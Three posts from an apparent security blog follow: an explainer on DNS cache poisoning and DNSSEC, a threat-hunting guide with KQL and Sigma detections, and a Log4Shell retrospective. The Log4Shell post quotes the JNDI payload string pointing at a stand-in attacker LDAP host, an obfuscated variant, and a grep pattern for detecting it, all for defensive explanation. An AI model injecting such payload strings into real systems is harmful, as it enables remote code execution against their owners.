Author: canutethegreat

  • DNS cache poisoning and why DNSSEC still isn’t everywhere

    DNS cache poisoning and why DNSSEC still isn’t everywhere

    The basic poisoning problem

    Kaminsky cache poisoning attack sequence vs. the DNSSEC trust chain

    DNS over UDP has no authentication built into the base protocol. When your resolver asks an authoritative server “what’s the A record for example.com”, the response just needs to match a few fields to be accepted: source IP, destination port, query ID (a 16-bit field), and the question name. If an attacker can guess or brute-force those fields faster than the legitimate answer arrives, they can inject a forged response and your resolver caches it. Every client behind that resolver now gets routed wherever the attacker wants until the TTL expires.

    Before 2008, the main defense was the 16-bit query ID (QID). That’s 65536 possible values, which sounds like enough entropy until you realize an off-path attacker doesn’t need to win on the first try. UDP has no handshake, so you can fire thousands of spoofed packets guessing different QIDs, and if even one lands before the real answer does, you win.

    Kaminsky’s insight (CVE-2008-1447)

    Dan Kaminsky’s 2008 disclosure wasn’t really a new vulnerability class, people had known QID-guessing was theoretically weak since the late 90s (there’s a CERT advisory from 1997 touching on similar issues). What Kaminsky did was make the attack practical and devastating by exploiting the birthday paradox and a clever target selection trick.

    The core move: instead of trying to poison the cache entry for www.example.com directly (which only gives you one hostname), you ask the victim resolver to look up a name that doesn’t exist yet, like random123.example.com. The resolver has to go recurse out to the authoritative server for example.com to resolve it, and while that’s in flight, you flood the resolver with forged responses. Those forged responses aren’t just answering the A record query, they include a malicious NS record in the authority section, claiming that example.com‘s nameserver is now at an attacker-controlled IP. If you win the race even once, you’ve poisoned the delegation for the entire domain, not just one hostname, because resolvers cache NS/glue records too.

    The birthday paradox angle: because you can generate an essentially unlimited stream of random subdomain queries (random1.example.com, random2.example.com, …) and race each one with a flood of guesses, your odds of a single query ID collision across many attempts go up dramatically faster than people’s naive intuition about 65536 possibilities suggested. With unconstrained transmission, you can realistically win within seconds to minutes on networks with weak port randomization, not days.

    The 0x20 and source-port fix

    The patch deployed across the industry in July 2008 (famously coordinated across vendors before public disclosure) did two things:

    1. Randomized the UDP source port for outgoing queries, not just the QID. Combined, you now have roughly 16 bits (QID) plus around 16 bits (source port, though often less due to OS ephemeral port ranges) of effective entropy an attacker has to guess, instead of just 16.

    2. Some implementations (BIND, PowerDNS) added 0x20 encoding: randomizing the case of letters in the query name (WwW.eXamPle.CoM) and requiring the response to echo the exact same casing. This adds more entropy per query without protocol changes, since DNS is historically case-insensitive for name comparison but the wire format doesn’t strip casing.

    This was a mitigation, not a cure. Increasing entropy from 16 to roughly 32 bits raises the cost of the attack from trivial on a home connection to expensive but not impossible, especially against a resolver on a fast network with abundant bandwidth. Researchers (Herzberg and Shulman, among others) kept publishing practical variants against port-randomized resolvers for years after. The real fix was supposed to be cryptographic, which is where DNSSEC comes in.

    What DNSSEC actually signs

    DNSSEC doesn’t encrypt DNS traffic (that’s a separate problem, see DoH/DoT under RFC 8484 and RFC 7858) and it doesn’t stop an attacker from seeing or forging packets at the network level. What it does is let a resolver cryptographically verify that a response actually came from the zone’s legitimate owner and wasn’t altered in transit or injected by a third party.

    The core record types:

    RRSIG  - a signature over a set of records (an RRset)
    DNSKEY - the public key(s) for a zone
    DS     - a hash of a child zone's DNSKEY, published in the parent zone
    NSEC/NSEC3 - proof that a name does NOT exist (authenticated denial)

    The chain of trust works top-down from a single trust anchor, the root zone’s KSK, which is managed by ICANN/IANA and distributed out-of-band (your resolver software ships with it, see RFC 7958 for the trust anchor format). The root signs the DS record for .com, which is the hash of .com‘s DNSKEY. The .com zone’s key signs the DS record for example.com, published in .com‘s zone. And example.com‘s own key signs its actual records, like the A record for www.

    So when a validating resolver asks for www.example.com, it isn’t just trusting the final A record RRSIG, it’s walking the delegation chain: verify example.com‘s DNSKEY against the DS record .com published, verify .com‘s DNSKEY against the DS record the root published, and trust the root key because it’s baked into the resolver config. Break any link and validation fails, and depending on configuration the resolver either serves SERVFAIL or falls back to insecure behavior.

    This closes the Kaminsky-style attack vector, because an off-path attacker can forge packets all day but can’t produce a valid RRSIG without the zone’s private key. Spoofed data just fails validation and gets dropped.

    Why it’s still not everywhere

    Here’s where I get less enthusiastic, having watched this rollout in real time. DNSSEC requires two independent things to both happen: the zone owner has to sign their zone, and the resolver has to validate signatures. Neither side has much incentive to move first.

    Signed zones are a sizable minority. Verisign’s own numbers over the years have shown .com/.net sitting in the low single-digit percentages of signed delegations for a long time, even though the TLDs themselves have been signed since 2011. Big companies with the operational maturity to handle key rollovers without breaking production tend to sign. Smaller sites, especially anyone on cheap shared DNS hosting where the provider doesn’t support DNSSEC signing in their control panel, just don’t.

    Validating resolvers are more common than signed zones, mostly because of Google Public DNS (8.8.8.8) and Cloudflare (1.1.1.1) both validating by default, which quietly protects a huge fraction of global queries. But plenty of ISP resolvers, especially outside North America and Europe, still don’t validate, and some enterprise resolvers disable it because a key rollover mistake upstream can cause a hard outage (this has happened publicly, NASA.gov had a DNSSEC misconfiguration outage in 2012, and there’ve been repeats elsewhere since).

    Then there’s the “last mile” problem I think gets underrated: DNSSEC protects the path between your resolver and the authoritative server. It does nothing for the path between your laptop and your resolver, which is usually plain UDP over whatever network you’re on, cafe wifi included. For that leg you need DoH or DoT, which are a completely separate deployment story with their own politics (ISPs don’t love DoH because it moves DNS visibility to the browser vendor).

    NSEC vs NSEC3 is a design compromise most people never think about. Authenticated denial of existence (proving doesnotexist.example.com really doesn’t resolve) needs some mechanism, and the original approach, NSEC (RFC 4034), works by returning the next actual name in the zone alphabetically: “I don’t have what you asked for, but here’s proof, because the next record I have is zebra.example.com, so nothing between you and zebra exists.” The side effect is that anyone can walk the entire zone by querying nonexistent names in sequence and reading off the NSEC chain, which fully enumerates every hostname in the zone, a real problem for anyone who considers their subdomain list sensitive (internal hostnames, pre-launch products, etc). NSEC3 (RFC 5155) fixes this by hashing the names before chaining them, so you get proof of non-existence without directly reading out the real names, at the cost of being crackable via offline dictionary/rainbow-table attacks against the hashes if the zone uses weak salt/iteration settings, and at the cost of noticeably more computational overhead on both signing and validation.

    None of this makes DNSSEC a bad design. It fixed the exact structural flaw Kaminsky exploited, and if you’re running authoritative DNS for anything that matters, sign your zone and use NSEC3 unless you have a specific reason not to. But treating it as solved infrastructure, the way TLS has become for HTTP, isn’t accurate yet. It’s a two-sided deployment problem where both sides are rational to wait for the other, and in the meantime cache poisoning variants keep getting published against the resolvers that still rely on entropy alone.

  • Threat hunting with ATT&CK: from a technique to a hypothesis to a query

    Threat hunting with ATT&CK: from a technique to a hypothesis to a query

    Why most hunts go nowhere

    Flowchart of a threat hunting loop: ATT&CK technique, hypothesis, telemetry check, query, triage, then either a detection or a periodic hunt, and finally a hunt log entry that feeds back to the start

    The hunt loop as a flowchart, drawn by me (not a screenshot).

    The usual failed hunt starts with “let’s look for anything weird in the logs.” Three hours later someone has a pivot table of 40,000 rare process names, none of them malicious, and the hunt gets written up as “no findings.” That isn’t a hunt. It’s browsing.

    A hunt is a falsifiable question about your own environment. “Has an attacker established persistence through scheduled tasks on a server that never creates them?” can be answered yes or no with data you already collect. MITRE ATT&CK is useful here for one reason: it gives you a catalog of behaviors to turn into those questions, so you don’t start from a blank page.

    ATT&CK isn’t a detection strategy on its own. It’s a vocabulary, and the work is translating it.

    Start from a technique, then add a constraint

    Pick one technique and one place it would matter. Scheduled task persistence is T1053.005, and it’s a good teaching case because it is both common in real intrusions and common in legitimate software, which forces you to deal with noise.

    The hypothesis needs three parts: the behavior, the population it applies to, and what normal looks like there. Mine:

    “On our Windows servers, schtasks.exe creating a task that runs a binary from a user-writable path (Temp, ProgramData, Users\Public) is rare, and nearly all of it is explained by a short list of installers and management tools.”

    That sentence tells you the telemetry (process creation with command lines), the filter (create plus a writable path), and the success condition (a short, explainable list). If the data comes back with 900 distinct parents, the hypothesis was wrong and you’ve learned something about your estate, which is a legitimate outcome.

    Check that the data exists before you write the query

    This is the step people skip. Process creation events with full command lines are Sysmon event ID 1, or Windows Security event 4688 with the “Include command line in process creation events” policy enabled. Without that policy 4688 records the image but not the arguments, and a hunt for /create flags is impossible. Scheduled task creation is also logged directly as Security event 4698, but only if the “Audit Other Object Access Events” subcategory is on, and many baselines leave it off.

    Before hunting, count the events per host per day. A server that reports zero process events is not clean. It’s blind. I’ve seen hunts conclude “no activity” on a host where the agent had been dead for three weeks.

    A first query

    Here is the hypothesis as KQL against the Microsoft Defender for Endpoint DeviceProcessEvents table. The table and column names are real. Adapt the path list to your environment.

    DeviceProcessEvents
    | where Timestamp > ago(30d)
    | where FileName =~ "schtasks.exe"
    | where ProcessCommandLine has "/create"
    | where ProcessCommandLine has_any (@"\Temp\", @"\ProgramData\", @"\Users\Public\", @"\AppData\")
    | summarize runs = count(),
                hosts = dcount(DeviceName),
                first = min(Timestamp),
                last = max(Timestamp)
        by InitiatingProcessFileName, InitiatingProcessParentFileName
    | order by hosts asc, runs asc

    Sort ascending on hosts. The interesting rows are parents that appear on one or two machines, not the ones appearing on 300. A software deployment tool hits everything. An intruder hits what they can reach.

    Then look at the rows that survive and read the actual command lines. Don’t trust the summary. A parent of cmd.exe launched from w3wp.exe on a web server is a very different story from cmd.exe launched by your patching agent, and both would collapse into the same “cmd.exe” row if you stopped at the first column.

    Triage the results like an investigator

    For each unexplained hit, answer four things and write them down:

    1. What launched it, and what launched that? Walk the process tree up at least two levels.
    2. What does the task execute, and does that file exist, and who wrote it?
    3. What else did that host do in the ten minutes around it: new services, new outbound connections, credential access?
    4. Is the account that did it one that ever does admin work?

    Most hits will be benign, and that’s fine, as long as you record why. “Backup agent vendor X creates this task on install” becomes an allowlist entry with an owner and a date. Next quarter that entry is what keeps the hunt from re-triaging the same 30 rows.

    Turn the hunt into a detection

    A hunt that finds nothing still produced something: a query with a known false-positive profile. If the allowlist is short and stable, promote it into a scheduled detection. If it’s long and churns every month, don’t. Keep it as a periodic hunt, because an alert nobody trusts is worse than no alert (the previous posts on alert fatigue and Sigma rules cover that tradeoff).

    Writing it up as Sigma makes the logic portable. The process_creation category and fields like Image and CommandLine are standard Sigma taxonomy:

    title: Scheduled task created pointing at user-writable path
    status: experimental
    logsource:
      category: process_creation
      product: windows
    detection:
      selection_img:
        Image|endswith: '\schtasks.exe'
        CommandLine|contains: '/create'
      selection_path:
        CommandLine|contains:
          - '\Temp\'
          - '\ProgramData\'
          - '\Users\Public\'
      condition: selection_img and selection_path
    falsepositives:
      - Software installers and management agents (maintain an allowlist)
    level: medium
    tags:
      - attack.persistence
      - attack.t1053.005

    Keep a hunt log

    Each hunt gets a short record: hypothesis, ATT&CK ID, data source, date range, query, results, disposition, and what changed afterward (new detection, new logging, or nothing). It takes ten minutes and it’s the difference between a program and a series of afternoons. It also shows your coverage gaps. If you can’t write the data source line because the telemetry doesn’t exist, the first deliverable of that hunt is a logging change.

    I’d rather run six well-scoped hunts a quarter than one sprawling exercise. Pick techniques that your actual intrusions or your peers’ public incident reports use, not the ones that look good on a heatmap. A fully green ATT&CK coverage matrix tells you which boxes someone ticked, and says nothing about whether the detections fire.

    What this doesn't do

    A hunt of this kind finds behavior that reuses a known technique through a known tool. It won’t find an operator who creates the task through the Task Scheduler COM API, never touching schtasks.exe, which is exactly what several public tools do. That’s why the next iteration of the hypothesis should target the outcome (a new task registered, event 4698 or the task XML files under C:\Windows\System32\Tasks) rather than one binary. Hunting the artifact rather than the tool is slower to write and survives much longer.

  • Log4Shell and what it taught us about dependency risk

    Log4Shell and what it taught us about dependency risk

    I remember the afternoon of December 9, 2021 mostly as a lot of people asking the same question in chat: do we even use log4j? Nobody knew. The real answer at most companies was “probably, somewhere, transitively,” and finding out took days.

    The bug is CVE-2021-44228, reported to Apache by Chen Zhaojun of Alibaba Cloud’s security team. It affects Log4j 2 from 2.0-beta9 through 2.14.1, and it scored a CVSS 10.0. The mechanics are simple enough to be embarrassing, which is why it’s worth understanding past the slogan.

    What the bug actually was

    Sequence diagram of the original Log4Shell attack flow, from the attacker request through the outbound LDAP query to code execution, with default-deny egress marked as the point that breaks the chain

    The diagram above traces the original attack path step by step and marks where an outbound firewall rule stops it.

    Log4j 2 supports lookups, a substitution syntax inside log messages. ${env:HOME} expands to an environment variable, ${date:yyyy-MM-dd} to a date. One of the lookups was jndi, added in 2013, which resolves a name through the Java Naming and Directory Interface. JNDI can talk to LDAP, RMI and DNS servers.

    The substitution ran on the formatted message, after your data had been interpolated into it. So this perfectly ordinary and, until then, perfectly recommended line was exploitable:

    logger.error("Login failed, user agent: {}", request.getHeader("User-Agent"));

    Parameterized logging didn’t save you. If the header contained ${jndi:ldap://attacker.example/a}, Log4j expanded it, connected to the attacker’s LDAP server, and treated the response as a reference to a Java object. In the original exploitation path, that reference pointed at a remote class file the vulnerable JVM would load and run.

    That is remote code execution from a string you logged. Any attacker-controlled value that reached a logger was enough: HTTP headers, usernames, chat messages, a Minecraft chat line, an iPhone’s device name. The first thing attackers did was spray the payload into every header they could think of and wait for a DNS callback.

    Why the usual Java defenses only half worked

    People pointed out that JDK 8u191 and later set com.sun.jndi.ldap.object.trustURLCodebase to false, which blocks loading classes from a remote codebase over LDAP. True, and it did close the simplest path. But researchers quickly showed that an attacker could instead return a serialized object or a reference to a factory class already on the victim’s classpath, and use known gadget chains from there. Newer JDKs reduced the exposure. They did not fix it.

    The other thing that stung was egress. The vulnerable server had to reach out to the attacker’s LDAP or RMI listener. Plenty of production servers can make arbitrary outbound connections. Those that could not were in a much better place that week, and I have since become a bit of a bore about default-deny outbound rules.

    The patches took four tries

    People forget this part, and it changes how you run the response.

    2.15.0 (December 10) disabled JNDI lookups from message content by default, but left a hole in non-default Pattern Layouts that use context lookups. That became CVE-2021-45046, first rated as a denial of service and later raised to remote code execution in some configurations. 2.16.0 removed message lookups entirely and disabled JNDI by default. 2.17.0 fixed uncontrolled recursion in lookups, CVE-2021-45105, a denial of service. 2.17.1 fixed CVE-2021-44832, where an attacker who could modify the logging configuration could get code execution through the JDBC Appender with a JNDI data source.

    The Java 7 and Java 6 branches got their own backports (2.12.x and 2.3.x). If your remediation ticket said “upgrade to 2.15.0” and got closed, you were not done.

    Interim mitigations, and why I stopped trusting some of them

    For a few days the standard advice was to set -Dlog4j2.formatMsgNoLookups=true or the matching environment variable. That flag exists from 2.10 on and did not cover every path, which is part of what CVE-2021-45046 was about. The mitigation that held up best was deleting the class:

    zip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

    You also need to find the jars, including the ones hidden inside fat jars and containers. A first pass:

    find / -type f \( -name 'log4j-core*.jar' -o -name '*.war' -o -name '*.ear' \) 2>/dev/null
    unzip -l app.jar | grep -i 'log4j/core/lookup/JndiLookup'

    Searching logs for the attack string works, but attackers used obfuscation like ${${lower:j}ndi:...} almost immediately, so a naive grep for jndi undercounts. A looser filter:

    grep -rEi '\$\{.{0,60}j.{0,60}n.{0,60}d.{0,60}i.{0,60}:' /var/log/ 2>/dev/null

    Expect false positives and treat it as a rough filter, not a verdict. Outbound LDAP and RMI connections from application servers, and unexpected DNS lookups to domains you do not own, were the more reliable signal.

    What it taught defenders about dependency risk

    An inventory is a prerequisite, not a project for later. The teams that answered “are we affected” in an hour had a software bill of materials, or at least a way to query which artifacts were deployed where. Everyone else grepped filesystems. I’ve written before about what SBOMs are good for. This incident is the cleanest example: they answer exactly this question.

    A feature nobody asked for was the problem. Message lookups from log content were a convenience that almost nobody used on purpose, and the JNDI lookup was powerful enough to load code. The lesson I take for my own code is to ask what an interpolation or expansion feature can reach, and to default it off. Log4j eventually did that.

    The maintainers were a small group of volunteers who spent that December handling a CVSS 10 with the whole industry watching. Most of the companies that scrambled had never contributed a dollar or a patch. I don’t have a tidy fix for that. I do think “we depend on it in production” should come with some way of tracking its health, even if that is just knowing who maintains it and whether they are funded.

    Severity ratings and patch versions can mislead by leaving things out. You track a CVE family, not a single ID. After Log4Shell I stopped accepting “patched” without a version number and a way to verify it on the running system.

    The bug went into CISA’s Known Exploited Vulnerabilities catalog, and old Log4j keeps turning up inside vendor appliances you cannot patch yourself. Those need a vendor ticket and an egress rule, not a jar replacement.